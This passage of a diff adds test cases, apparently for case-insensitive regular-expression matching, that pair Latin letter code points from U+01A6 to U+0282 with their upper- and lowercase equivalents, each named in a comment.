+test(0x01A6, 0x0280); // LATIN LETTER YR (LATIN LETTER Y R), LATIN LETTER SMALL CAPITAL R
+test(0x01A7, 0x01A8); // LATIN CAPITAL LETTER TONE TWO, LATIN SMALL LETTER TONE TWO
+test(0x01A8, 0x01A7); // LATIN SMALL LETTER TONE TWO, LATIN CAPITAL LETTER TONE TWO
+test(0x01A9, 0x0283); // LATIN CAPITAL LETTER ESH, LATIN SMALL LETTER ESH
+test(0x01AC, 0x01AD); // LATIN CAPITAL LETTER T WITH HOOK (LATIN CAPITAL LETTER T HOOK), LATIN SMALL LETTER T WITH HOOK (LATIN SMALL LETTER T HOOK)
+test(0x01AD, 0x01AC); // LATIN SMALL LETTER T WITH HOOK (LATIN SMALL LETTER T HOOK), LATIN CAPITAL LETTER T WITH HOOK (LATIN CAPITAL LETTER T HOOK)
+test(0x01AE, 0x0288); // LATIN CAPITAL LETTER T WITH RETROFLEX HOOK (LATIN CAPITAL LETTER T RETROFLEX HOOK), LATIN SMALL LETTER T WITH RETROFLEX HOOK (LATIN SMALL LETTER T RETROFLEX HOOK)
+test(0x01AF, 0x01B0); // LATIN CAPITAL LETTER U WITH HORN (LATIN CAPITAL LETTER U HORN), LATIN SMALL LETTER U WITH HORN (LATIN SMALL LETTER U HORN)
+test(0x01B0, 0x01AF); // LATIN SMALL LETTER U WITH HORN (LATIN SMALL LETTER U HORN), LATIN CAPITAL LETTER U WITH HORN (LATIN CAPITAL LETTER U HORN)
+test(0x01B1, 0x028A); // LATIN CAPITAL LETTER UPSILON, LATIN SMALL LETTER UPSILON
+test(0x01B2, 0x028B); // LATIN CAPITAL LETTER V WITH HOOK (LATIN CAPITAL LETTER SCRIPT V), LATIN SMALL LETTER V WITH HOOK (LATIN SMALL LETTER SCRIPT V)
+test(0x01B3, 0x01B4); // LATIN CAPITAL LETTER Y WITH HOOK (LATIN CAPITAL LETTER Y HOOK), LATIN SMALL LETTER Y WITH HOOK (LATIN SMALL LETTER Y HOOK)
+test(0x01B4, 0x01B3); // LATIN SMALL LETTER Y WITH HOOK (LATIN SMALL LETTER Y HOOK), LATIN CAPITAL LETTER Y WITH HOOK (LATIN CAPITAL LETTER Y HOOK)
+test(0x01B5, 0x01B6); // LATIN CAPITAL LETTER Z WITH STROKE (LATIN CAPITAL LETTER Z BAR), LATIN SMALL LETTER Z WITH STROKE (LATIN SMALL LETTER Z BAR)
+test(0x01B6, 0x01B5); // LATIN SMALL LETTER Z WITH STROKE (LATIN SMALL LETTER Z BAR), LATIN CAPITAL LETTER Z WITH STROKE (LATIN CAPITAL LETTER Z BAR)
+test(0x01B7, 0x0292); // LATIN CAPITAL LETTER EZH (LATIN CAPITAL LETTER YOGH), LATIN SMALL LETTER EZH (LATIN SMALL LETTER YOGH)
+test(0x01B8, 0x01B9); // LATIN CAPITAL LETTER EZH REVERSED (LATIN CAPITAL LETTER REVERSED YOGH), LATIN SMALL LETTER EZH REVERSED (LATIN SMALL LETTER REVERSED YOGH)
+test(0x01B9, 0x01B8); // LATIN SMALL LETTER EZH REVERSED (LATIN SMALL LETTER REVERSED YOGH), LATIN CAPITAL LETTER EZH REVERSED (LATIN CAPITAL LETTER REVERSED YOGH)
+test(0x01BC, 0x01BD); // LATIN CAPITAL LETTER TONE FIVE, LATIN SMALL LETTER TONE FIVE
+test(0x01BD, 0x01BC); // LATIN SMALL LETTER TONE FIVE, LATIN CAPITAL LETTER TONE FIVE
+test(0x01BF, 0x01F7); // LATIN LETTER WYNN, LATIN CAPITAL LETTER WYNN
+test(0x01C4, 0x01C6, 0x01C5); // LATIN CAPITAL LETTER DZ WITH CARON (LATIN CAPITAL LETTER D Z HACEK), LATIN SMALL LETTER DZ WITH CARON (LATIN SMALL LETTER D Z HACEK), LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON (LATIN LETTER CAPITAL D SMALL Z HACEK)
+test(0x01C5, 0x01C6, 0x01C4); // LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON (LATIN LETTER CAPITAL D SMALL Z HACEK), LATIN SMALL LETTER DZ WITH CARON (LATIN SMALL LETTER D Z HACEK), LATIN CAPITAL LETTER DZ WITH CARON (LATIN CAPITAL LETTER D Z HACEK)
+test(0x01C6, 0x01C4, 0x01C5); // LATIN SMALL LETTER DZ WITH CARON (LATIN SMALL LETTER D Z HACEK), LATIN CAPITAL LETTER DZ WITH CARON (LATIN CAPITAL LETTER D Z HACEK), LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON (LATIN LETTER CAPITAL D SMALL Z HACEK)
+test(0x01C7, 0x01C9, 0x01C8); // LATIN CAPITAL LETTER LJ (LATIN CAPITAL LETTER L J), LATIN SMALL LETTER LJ (LATIN SMALL LETTER L J), LATIN CAPITAL LETTER L WITH SMALL LETTER J (LATIN LETTER CAPITAL L SMALL J)
+test(0x01C8, 0x01C9, 0x01C7); // LATIN CAPITAL LETTER L WITH SMALL LETTER J (LATIN LETTER CAPITAL L SMALL J), LATIN SMALL LETTER LJ (LATIN SMALL LETTER L J), LATIN CAPITAL LETTER LJ (LATIN CAPITAL LETTER L J)
+test(0x01C9, 0x01C7, 0x01C8); // LATIN SMALL LETTER LJ (LATIN SMALL LETTER L J), LATIN CAPITAL LETTER LJ (LATIN CAPITAL LETTER L J), LATIN CAPITAL LETTER L WITH SMALL LETTER J (LATIN LETTER CAPITAL L SMALL J)
+test(0x01CA, 0x01CC, 0x01CB); // LATIN CAPITAL LETTER NJ (LATIN CAPITAL LETTER N J), LATIN SMALL LETTER NJ (LATIN SMALL LETTER N J), LATIN CAPITAL LETTER N WITH SMALL LETTER J (LATIN LETTER CAPITAL N SMALL J)
+test(0x01CB, 0x01CC, 0x01CA); // LATIN CAPITAL LETTER N WITH SMALL LETTER J (LATIN LETTER CAPITAL N SMALL J), LATIN SMALL LETTER NJ (LATIN SMALL LETTER N J), LATIN CAPITAL LETTER NJ (LATIN CAPITAL LETTER N J)
+test(0x01CC, 0x01CA, 0x01CB); // LATIN SMALL LETTER NJ (LATIN SMALL LETTER N J), LATIN CAPITAL LETTER NJ (LATIN CAPITAL LETTER N J), LATIN CAPITAL LETTER N WITH SMALL LETTER J (LATIN LETTER CAPITAL N SMALL J)
+test(0x01CD, 0x01CE); // LATIN CAPITAL LETTER A WITH CARON (LATIN CAPITAL LETTER A HACEK), LATIN SMALL LETTER A WITH CARON (LATIN SMALL LETTER A HACEK)
+test(0x01CE, 0x01CD); // LATIN SMALL LETTER A WITH CARON (LATIN SMALL LETTER A HACEK), LATIN CAPITAL LETTER A WITH CARON (LATIN CAPITAL LETTER A HACEK)
+test(0x01CF, 0x01D0); // LATIN CAPITAL LETTER I WITH CARON (LATIN CAPITAL LETTER I HACEK), LATIN SMALL LETTER I WITH CARON (LATIN SMALL LETTER I HACEK)
+test(0x01D0, 0x01CF); // LATIN SMALL LETTER I WITH CARON (LATIN SMALL LETTER I HACEK), LATIN CAPITAL LETTER I WITH CARON (LATIN CAPITAL LETTER I HACEK)
+test(0x01D1, 0x01D2); // LATIN CAPITAL LETTER O WITH CARON (LATIN CAPITAL LETTER O HACEK), LATIN SMALL LETTER O WITH CARON (LATIN SMALL LETTER O HACEK)
+test(0x01D2, 0x01D1); // LATIN SMALL LETTER O WITH CARON (LATIN SMALL LETTER O HACEK), LATIN CAPITAL LETTER O WITH CARON (LATIN CAPITAL LETTER O HACEK)
+test(0x01D3, 0x01D4); // LATIN CAPITAL LETTER U WITH CARON (LATIN CAPITAL LETTER U HACEK), LATIN SMALL LETTER U WITH CARON (LATIN SMALL LETTER U HACEK)
+test(0x01D4, 0x01D3); // LATIN SMALL LETTER U WITH CARON (LATIN SMALL LETTER U HACEK), LATIN CAPITAL LETTER U WITH CARON (LATIN CAPITAL LETTER U HACEK)
+test(0x01D5, 0x01D6); // LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER U DIAERESIS MACRON), LATIN SMALL LETTER U WITH DIAERESIS AND MACRON (LATIN SMALL LETTER U DIAERESIS MACRON)
+test(0x01D6, 0x01D5); // LATIN SMALL LETTER U WITH DIAERESIS AND MACRON (LATIN SMALL LETTER U DIAERESIS MACRON), LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER U DIAERESIS MACRON)
+test(0x01D7, 0x01D8); // LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE (LATIN CAPITAL LETTER U DIAERESIS ACUTE), LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE (LATIN SMALL LETTER U DIAERESIS ACUTE)
+test(0x01D8, 0x01D7); // LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE (LATIN SMALL LETTER U DIAERESIS ACUTE), LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE (LATIN CAPITAL LETTER U DIAERESIS ACUTE)
+test(0x01D9, 0x01DA); // LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON (LATIN CAPITAL LETTER U DIAERESIS HACEK), LATIN SMALL LETTER U WITH DIAERESIS AND CARON (LATIN SMALL LETTER U DIAERESIS HACEK)
+test(0x01DA, 0x01D9); // LATIN SMALL LETTER U WITH DIAERESIS AND CARON (LATIN SMALL LETTER U DIAERESIS HACEK), LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON (LATIN CAPITAL LETTER U DIAERESIS HACEK)
+test(0x01DB, 0x01DC); // LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE (LATIN CAPITAL LETTER U DIAERESIS GRAVE), LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE (LATIN SMALL LETTER U DIAERESIS GRAVE)
+test(0x01DC, 0x01DB); // LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE (LATIN SMALL LETTER U DIAERESIS GRAVE), LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE (LATIN CAPITAL LETTER U DIAERESIS GRAVE)
+test(0x01DD, 0x018E); // LATIN SMALL LETTER TURNED E, LATIN CAPITAL LETTER REVERSED E (LATIN CAPITAL LETTER TURNED E)
+test(0x01DE, 0x01DF); // LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER A DIAERESIS MACRON), LATIN SMALL LETTER A WITH DIAERESIS AND MACRON (LATIN SMALL LETTER A DIAERESIS MACRON)
+test(0x01DF, 0x01DE); // LATIN SMALL LETTER A WITH DIAERESIS AND MACRON (LATIN SMALL LETTER A DIAERESIS MACRON), LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER A DIAERESIS MACRON)
+test(0x01E0, 0x01E1); // LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON (LATIN CAPITAL LETTER A DOT MACRON), LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON (LATIN SMALL LETTER A DOT MACRON)
+test(0x01E1, 0x01E0); // LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON (LATIN SMALL LETTER A DOT MACRON), LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON (LATIN CAPITAL LETTER A DOT MACRON)
+test(0x01E2, 0x01E3); // LATIN CAPITAL LETTER AE WITH MACRON (LATIN CAPITAL LETTER A E MACRON), LATIN SMALL LETTER AE WITH MACRON (LATIN SMALL LETTER A E MACRON)
+test(0x01E3, 0x01E2); // LATIN SMALL LETTER AE WITH MACRON (LATIN SMALL LETTER A E MACRON), LATIN CAPITAL LETTER AE WITH MACRON (LATIN CAPITAL LETTER A E MACRON)
+test(0x01E4, 0x01E5); // LATIN CAPITAL LETTER G WITH STROKE (LATIN CAPITAL LETTER G BAR), LATIN SMALL LETTER G WITH STROKE (LATIN SMALL LETTER G BAR)
+test(0x01E5, 0x01E4); // LATIN SMALL LETTER G WITH STROKE (LATIN SMALL LETTER G BAR), LATIN CAPITAL LETTER G WITH STROKE (LATIN CAPITAL LETTER G BAR)
+test(0x01E6, 0x01E7); // LATIN CAPITAL LETTER G WITH CARON (LATIN CAPITAL LETTER G HACEK), LATIN SMALL LETTER G WITH CARON (LATIN SMALL LETTER G HACEK)
+test(0x01E7, 0x01E6); // LATIN SMALL LETTER G WITH CARON (LATIN SMALL LETTER G HACEK), LATIN CAPITAL LETTER G WITH CARON (LATIN CAPITAL LETTER G HACEK)
+test(0x01E8, 0x01E9); // LATIN CAPITAL LETTER K WITH CARON (LATIN CAPITAL LETTER K HACEK), LATIN SMALL LETTER K WITH CARON (LATIN SMALL LETTER K HACEK)
+test(0x01E9, 0x01E8); // LATIN SMALL LETTER K WITH CARON (LATIN SMALL LETTER K HACEK), LATIN CAPITAL LETTER K WITH CARON (LATIN CAPITAL LETTER K HACEK)
+test(0x01EA, 0x01EB); // LATIN CAPITAL LETTER O WITH OGONEK (LATIN CAPITAL LETTER O OGONEK), LATIN SMALL LETTER O WITH OGONEK (LATIN SMALL LETTER O OGONEK)
+test(0x01EB, 0x01EA); // LATIN SMALL LETTER O WITH OGONEK (LATIN SMALL LETTER O OGONEK), LATIN CAPITAL LETTER O WITH OGONEK (LATIN CAPITAL LETTER O OGONEK)
+test(0x01EC, 0x01ED); // LATIN CAPITAL LETTER O WITH OGONEK AND MACRON (LATIN CAPITAL LETTER O OGONEK MACRON), LATIN SMALL LETTER O WITH OGONEK AND MACRON (LATIN SMALL LETTER O OGONEK MACRON)
+test(0x01ED, 0x01EC); // LATIN SMALL LETTER O WITH OGONEK AND MACRON (LATIN SMALL LETTER O OGONEK MACRON), LATIN CAPITAL LETTER O WITH OGONEK AND MACRON (LATIN CAPITAL LETTER O OGONEK MACRON)
+test(0x01EE, 0x01EF); // LATIN CAPITAL LETTER EZH WITH CARON (LATIN CAPITAL LETTER YOGH HACEK), LATIN SMALL LETTER EZH WITH CARON (LATIN SMALL LETTER YOGH HACEK)
+test(0x01EF, 0x01EE); // LATIN SMALL LETTER EZH WITH CARON (LATIN SMALL LETTER YOGH HACEK), LATIN CAPITAL LETTER EZH WITH CARON (LATIN CAPITAL LETTER YOGH HACEK)
+test(0x01F1, 0x01F3, 0x01F2); // LATIN CAPITAL LETTER DZ, LATIN SMALL LETTER DZ, LATIN CAPITAL LETTER D WITH SMALL LETTER Z
+test(0x01F2, 0x01F3, 0x01F1); // LATIN CAPITAL LETTER D WITH SMALL LETTER Z, LATIN SMALL LETTER DZ, LATIN CAPITAL LETTER DZ
+test(0x01F3, 0x01F1, 0x01F2); // LATIN SMALL LETTER DZ, LATIN CAPITAL LETTER DZ, LATIN CAPITAL LETTER D WITH SMALL LETTER Z
+test(0x01F4, 0x01F5); // LATIN CAPITAL LETTER G WITH ACUTE, LATIN SMALL LETTER G WITH ACUTE
+test(0x01F5, 0x01F4); // LATIN SMALL LETTER G WITH ACUTE, LATIN CAPITAL LETTER G WITH ACUTE
+test(0x01F6, 0x0195); // LATIN CAPITAL LETTER HWAIR, LATIN SMALL LETTER HV (LATIN SMALL LETTER H V)
+test(0x01F7, 0x01BF); // LATIN CAPITAL LETTER WYNN, LATIN LETTER WYNN
+test(0x01F8, 0x01F9); // LATIN CAPITAL LETTER N WITH GRAVE, LATIN SMALL LETTER N WITH GRAVE
+test(0x01F9, 0x01F8); // LATIN SMALL LETTER N WITH GRAVE, LATIN CAPITAL LETTER N WITH GRAVE
+test(0x01FA, 0x01FB); // LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE, LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+test(0x01FB, 0x01FA); // LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE, LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+test(0x01FC, 0x01FD); // LATIN CAPITAL LETTER AE WITH ACUTE, LATIN SMALL LETTER AE WITH ACUTE
+test(0x01FD, 0x01FC); // LATIN SMALL LETTER AE WITH ACUTE, LATIN CAPITAL LETTER AE WITH ACUTE
+test(0x01FE, 0x01FF); // LATIN CAPITAL LETTER O WITH STROKE AND ACUTE, LATIN SMALL LETTER O WITH STROKE AND ACUTE
+test(0x01FF, 0x01FE); // LATIN SMALL LETTER O WITH STROKE AND ACUTE, LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+test(0x0200, 0x0201); // LATIN CAPITAL LETTER A WITH DOUBLE GRAVE, LATIN SMALL LETTER A WITH DOUBLE GRAVE
+test(0x0201, 0x0200); // LATIN SMALL LETTER A WITH DOUBLE GRAVE, LATIN CAPITAL LETTER A WITH DOUBLE GRAVE
+test(0x0202, 0x0203); // LATIN CAPITAL LETTER A WITH INVERTED BREVE, LATIN SMALL LETTER A WITH INVERTED BREVE
+test(0x0203, 0x0202); // LATIN SMALL LETTER A WITH INVERTED BREVE, LATIN CAPITAL LETTER A WITH INVERTED BREVE
+test(0x0204, 0x0205); // LATIN CAPITAL LETTER E WITH DOUBLE GRAVE, LATIN SMALL LETTER E WITH DOUBLE GRAVE
+test(0x0205, 0x0204); // LATIN SMALL LETTER E WITH DOUBLE GRAVE, LATIN CAPITAL LETTER E WITH DOUBLE GRAVE
+test(0x0206, 0x0207); // LATIN CAPITAL LETTER E WITH INVERTED BREVE, LATIN SMALL LETTER E WITH INVERTED BREVE
+test(0x0207, 0x0206); // LATIN SMALL LETTER E WITH INVERTED BREVE, LATIN CAPITAL LETTER E WITH INVERTED BREVE
+test(0x0208, 0x0209); // LATIN CAPITAL LETTER I WITH DOUBLE GRAVE, LATIN SMALL LETTER I WITH DOUBLE GRAVE
+test(0x0209, 0x0208); // LATIN SMALL LETTER I WITH DOUBLE GRAVE, LATIN CAPITAL LETTER I WITH DOUBLE GRAVE
+test(0x020A, 0x020B); // LATIN CAPITAL LETTER I WITH INVERTED BREVE, LATIN SMALL LETTER I WITH INVERTED BREVE
+test(0x020B, 0x020A); // LATIN SMALL LETTER I WITH INVERTED BREVE, LATIN CAPITAL LETTER I WITH INVERTED BREVE
+test(0x020C, 0x020D); // LATIN CAPITAL LETTER O WITH DOUBLE GRAVE, LATIN SMALL LETTER O WITH DOUBLE GRAVE
+test(0x020D, 0x020C); // LATIN SMALL LETTER O WITH DOUBLE GRAVE, LATIN CAPITAL LETTER O WITH DOUBLE GRAVE
+test(0x020E, 0x020F); // LATIN CAPITAL LETTER O WITH INVERTED BREVE, LATIN SMALL LETTER O WITH INVERTED BREVE
+test(0x020F, 0x020E); // LATIN SMALL LETTER O WITH INVERTED BREVE, LATIN CAPITAL LETTER O WITH INVERTED BREVE
+test(0x0210, 0x0211); // LATIN CAPITAL LETTER R WITH DOUBLE GRAVE, LATIN SMALL LETTER R WITH DOUBLE GRAVE
+test(0x0211, 0x0210); // LATIN SMALL LETTER R WITH DOUBLE GRAVE, LATIN CAPITAL LETTER R WITH DOUBLE GRAVE
+test(0x0212, 0x0213); // LATIN CAPITAL LETTER R WITH INVERTED BREVE, LATIN SMALL LETTER R WITH INVERTED BREVE
+test(0x0213, 0x0212); // LATIN SMALL LETTER R WITH INVERTED BREVE, LATIN CAPITAL LETTER R WITH INVERTED BREVE
+test(0x0214, 0x0215); // LATIN CAPITAL LETTER U WITH DOUBLE GRAVE, LATIN SMALL LETTER U WITH DOUBLE GRAVE
+test(0x0215, 0x0214); // LATIN SMALL LETTER U WITH DOUBLE GRAVE, LATIN CAPITAL LETTER U WITH DOUBLE GRAVE
+test(0x0216, 0x0217); // LATIN CAPITAL LETTER U WITH INVERTED BREVE, LATIN SMALL LETTER U WITH INVERTED BREVE
+test(0x0217, 0x0216); // LATIN SMALL LETTER U WITH INVERTED BREVE, LATIN CAPITAL LETTER U WITH INVERTED BREVE
+test(0x0218, 0x0219); // LATIN CAPITAL LETTER S WITH COMMA BELOW, LATIN SMALL LETTER S WITH COMMA BELOW
+test(0x0219, 0x0218); // LATIN SMALL LETTER S WITH COMMA BELOW, LATIN CAPITAL LETTER S WITH COMMA BELOW
+test(0x021A, 0x021B); // LATIN CAPITAL LETTER T WITH COMMA BELOW, LATIN SMALL LETTER T WITH COMMA BELOW
+test(0x021B, 0x021A); // LATIN SMALL LETTER T WITH COMMA BELOW, LATIN CAPITAL LETTER T WITH COMMA BELOW
+test(0x021C, 0x021D); // LATIN CAPITAL LETTER YOGH, LATIN SMALL LETTER YOGH
+test(0x021D, 0x021C); // LATIN SMALL LETTER YOGH, LATIN CAPITAL LETTER YOGH
+test(0x021E, 0x021F); // LATIN CAPITAL LETTER H WITH CARON, LATIN SMALL LETTER H WITH CARON
+test(0x021F, 0x021E); // LATIN SMALL LETTER H WITH CARON, LATIN CAPITAL LETTER H WITH CARON
+test(0x0220, 0x019E); // LATIN CAPITAL LETTER N WITH LONG RIGHT LEG, LATIN SMALL LETTER N WITH LONG RIGHT LEG
+test(0x0222, 0x0223); // LATIN CAPITAL LETTER OU, LATIN SMALL LETTER OU
+test(0x0223, 0x0222); // LATIN SMALL LETTER OU, LATIN CAPITAL LETTER OU
+test(0x0224, 0x0225); // LATIN CAPITAL LETTER Z WITH HOOK, LATIN SMALL LETTER Z WITH HOOK
+test(0x0225, 0x0224); // LATIN SMALL LETTER Z WITH HOOK, LATIN CAPITAL LETTER Z WITH HOOK
+test(0x0226, 0x0227); // LATIN CAPITAL LETTER A WITH DOT ABOVE, LATIN SMALL LETTER A WITH DOT ABOVE
+test(0x0227, 0x0226); // LATIN SMALL LETTER A WITH DOT ABOVE, LATIN CAPITAL LETTER A WITH DOT ABOVE
+test(0x0228, 0x0229); // LATIN CAPITAL LETTER E WITH CEDILLA, LATIN SMALL LETTER E WITH CEDILLA
+test(0x0229, 0x0228); // LATIN SMALL LETTER E WITH CEDILLA, LATIN CAPITAL LETTER E WITH CEDILLA
+test(0x022A, 0x022B); // LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON, LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+test(0x022B, 0x022A); // LATIN SMALL LETTER O WITH DIAERESIS AND MACRON, LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+test(0x022C, 0x022D); // LATIN CAPITAL LETTER O WITH TILDE AND MACRON, LATIN SMALL LETTER O WITH TILDE AND MACRON
+test(0x022D, 0x022C); // LATIN SMALL LETTER O WITH TILDE AND MACRON, LATIN CAPITAL LETTER O WITH TILDE AND MACRON
+test(0x022E, 0x022F); // LATIN CAPITAL LETTER O WITH DOT ABOVE, LATIN SMALL LETTER O WITH DOT ABOVE
+test(0x022F, 0x022E); // LATIN SMALL LETTER O WITH DOT ABOVE, LATIN CAPITAL LETTER O WITH DOT ABOVE
+test(0x0230, 0x0231); // LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON, LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON
+test(0x0231, 0x0230); // LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON, LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON
+test(0x0232, 0x0233); // LATIN CAPITAL LETTER Y WITH MACRON, LATIN SMALL LETTER Y WITH MACRON
+test(0x0233, 0x0232); // LATIN SMALL LETTER Y WITH MACRON, LATIN CAPITAL LETTER Y WITH MACRON
+test(0x023A, 0x2C65); // LATIN CAPITAL LETTER A WITH STROKE, LATIN SMALL LETTER A WITH STROKE
+test(0x023B, 0x023C); // LATIN CAPITAL LETTER C WITH STROKE, LATIN SMALL LETTER C WITH STROKE
+test(0x023C, 0x023B); // LATIN SMALL LETTER C WITH STROKE, LATIN CAPITAL LETTER C WITH STROKE
+test(0x023D, 0x019A); // LATIN CAPITAL LETTER L WITH BAR, LATIN SMALL LETTER L WITH BAR (LATIN SMALL LETTER BARRED L)
+test(0x023E, 0x2C66); // LATIN CAPITAL LETTER T WITH DIAGONAL STROKE, LATIN SMALL LETTER T WITH DIAGONAL STROKE
+test(0x023F, 0x2C7E); // LATIN SMALL LETTER S WITH SWASH TAIL, LATIN CAPITAL LETTER S WITH SWASH TAIL
+test(0x0240, 0x2C7F); // LATIN SMALL LETTER Z WITH SWASH TAIL, LATIN CAPITAL LETTER Z WITH SWASH TAIL
+test(0x0241, 0x0242); // LATIN CAPITAL LETTER GLOTTAL STOP, LATIN SMALL LETTER GLOTTAL STOP
+test(0x0242, 0x0241); // LATIN SMALL LETTER GLOTTAL STOP, LATIN CAPITAL LETTER GLOTTAL STOP
+test(0x0243, 0x0180); // LATIN CAPITAL LETTER B WITH STROKE, LATIN SMALL LETTER B WITH STROKE (LATIN SMALL LETTER B BAR)
+test(0x0244, 0x0289); // LATIN CAPITAL LETTER U BAR, LATIN SMALL LETTER U BAR
+test(0x0245, 0x028C); // LATIN CAPITAL LETTER TURNED V, LATIN SMALL LETTER TURNED V
+test(0x0246, 0x0247); // LATIN CAPITAL LETTER E WITH STROKE, LATIN SMALL LETTER E WITH STROKE
+test(0x0247, 0x0246); // LATIN SMALL LETTER E WITH STROKE, LATIN CAPITAL LETTER E WITH STROKE
+test(0x0248, 0x0249); // LATIN CAPITAL LETTER J WITH STROKE, LATIN SMALL LETTER J WITH STROKE
+test(0x0249, 0x0248); // LATIN SMALL LETTER J WITH STROKE, LATIN CAPITAL LETTER J WITH STROKE
+test(0x024A, 0x024B); // LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL, LATIN SMALL LETTER Q WITH HOOK TAIL
+test(0x024B, 0x024A); // LATIN SMALL LETTER Q WITH HOOK TAIL, LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL
+test(0x024C, 0x024D); // LATIN CAPITAL LETTER R WITH STROKE, LATIN SMALL LETTER R WITH STROKE
+test(0x024D, 0x024C); // LATIN SMALL LETTER R WITH STROKE, LATIN CAPITAL LETTER R WITH STROKE
+test(0x024E, 0x024F); // LATIN CAPITAL LETTER Y WITH STROKE, LATIN SMALL LETTER Y WITH STROKE
+test(0x024F, 0x024E); // LATIN SMALL LETTER Y WITH STROKE, LATIN CAPITAL LETTER Y WITH STROKE
+test(0x0250, 0x2C6F); // LATIN SMALL LETTER TURNED A, LATIN CAPITAL LETTER TURNED A
+test(0x0251, 0x2C6D); // LATIN SMALL LETTER ALPHA (LATIN SMALL LETTER SCRIPT A), LATIN CAPITAL LETTER ALPHA
+test(0x0252, 0x2C70); // LATIN SMALL LETTER TURNED ALPHA (LATIN SMALL LETTER TURNED SCRIPT A), LATIN CAPITAL LETTER TURNED ALPHA
+test(0x0253, 0x0181); // LATIN SMALL LETTER B WITH HOOK (LATIN SMALL LETTER B HOOK), LATIN CAPITAL LETTER B WITH HOOK (LATIN CAPITAL LETTER B HOOK)
+test(0x0254, 0x0186); // LATIN SMALL LETTER OPEN O, LATIN CAPITAL LETTER OPEN O
+test(0x0256, 0x0189); // LATIN SMALL LETTER D WITH TAIL (LATIN SMALL LETTER D RETROFLEX HOOK), LATIN CAPITAL LETTER AFRICAN D
+test(0x0257, 0x018A); // LATIN SMALL LETTER D WITH HOOK (LATIN SMALL LETTER D HOOK), LATIN CAPITAL LETTER D WITH HOOK (LATIN CAPITAL LETTER D HOOK)
+test(0x0259, 0x018F); // LATIN SMALL LETTER SCHWA, LATIN CAPITAL LETTER SCHWA
+test(0x025B, 0x0190); // LATIN SMALL LETTER OPEN E (LATIN SMALL LETTER EPSILON), LATIN CAPITAL LETTER OPEN E (LATIN CAPITAL LETTER EPSILON)
+test(0x025C, 0xA7AB); // LATIN SMALL LETTER REVERSED OPEN E (LATIN SMALL LETTER REVERSED EPSILON), LATIN CAPITAL LETTER REVERSED OPEN E
+test(0x0260, 0x0193); // LATIN SMALL LETTER G WITH HOOK (LATIN SMALL LETTER G HOOK), LATIN CAPITAL LETTER G WITH HOOK (LATIN CAPITAL LETTER G HOOK)
+test(0x0261, 0xA7AC); // LATIN SMALL LETTER SCRIPT G, LATIN CAPITAL LETTER SCRIPT G
+test(0x0263, 0x0194); // LATIN SMALL LETTER GAMMA, LATIN CAPITAL LETTER GAMMA
+test(0x0265, 0xA78D); // LATIN SMALL LETTER TURNED H, LATIN CAPITAL LETTER TURNED H
+test(0x0266, 0xA7AA); // LATIN SMALL LETTER H WITH HOOK (LATIN SMALL LETTER H HOOK), LATIN CAPITAL LETTER H WITH HOOK
+test(0x0268, 0x0197); // LATIN SMALL LETTER I WITH STROKE (LATIN SMALL LETTER BARRED I), LATIN CAPITAL LETTER I WITH STROKE (LATIN CAPITAL LETTER BARRED I)
+test(0x0269, 0x0196); // LATIN SMALL LETTER IOTA, LATIN CAPITAL LETTER IOTA
+test(0x026A, 0xA7AE); // LATIN LETTER SMALL CAPITAL I, LATIN CAPITAL LETTER SMALL CAPITAL I
+test(0x026B, 0x2C62); // LATIN SMALL LETTER L WITH MIDDLE TILDE, LATIN CAPITAL LETTER L WITH MIDDLE TILDE
+test(0x026C, 0xA7AD); // LATIN SMALL LETTER L WITH BELT (LATIN SMALL LETTER L BELT), LATIN CAPITAL LETTER L WITH BELT
+test(0x026F, 0x019C); // LATIN SMALL LETTER TURNED M, LATIN CAPITAL LETTER TURNED M
+test(0x0271, 0x2C6E); // LATIN SMALL LETTER M WITH HOOK (LATIN SMALL LETTER M HOOK), LATIN CAPITAL LETTER M WITH HOOK
+test(0x0272, 0x019D); // LATIN SMALL LETTER N WITH LEFT HOOK (LATIN SMALL LETTER N HOOK), LATIN CAPITAL LETTER N WITH LEFT HOOK (LATIN CAPITAL LETTER N HOOK)
+test(0x0275, 0x019F); // LATIN SMALL LETTER BARRED O, LATIN CAPITAL LETTER O WITH MIDDLE TILDE (LATIN CAPITAL LETTER BARRED O)
+test(0x027D, 0x2C64); // LATIN SMALL LETTER R WITH TAIL (LATIN SMALL LETTER R HOOK), LATIN CAPITAL LETTER R WITH TAIL
+test(0x0280, 0x01A6); // LATIN LETTER SMALL CAPITAL R, LATIN LETTER YR (LATIN LETTER Y R)
+test(0x0282, 0xA7C5); // LATIN SMALL LETTER S WITH HOOK (LATIN SMALL LETTER S HOOK), LATIN CAPITAL LETTER S WITH HOOK
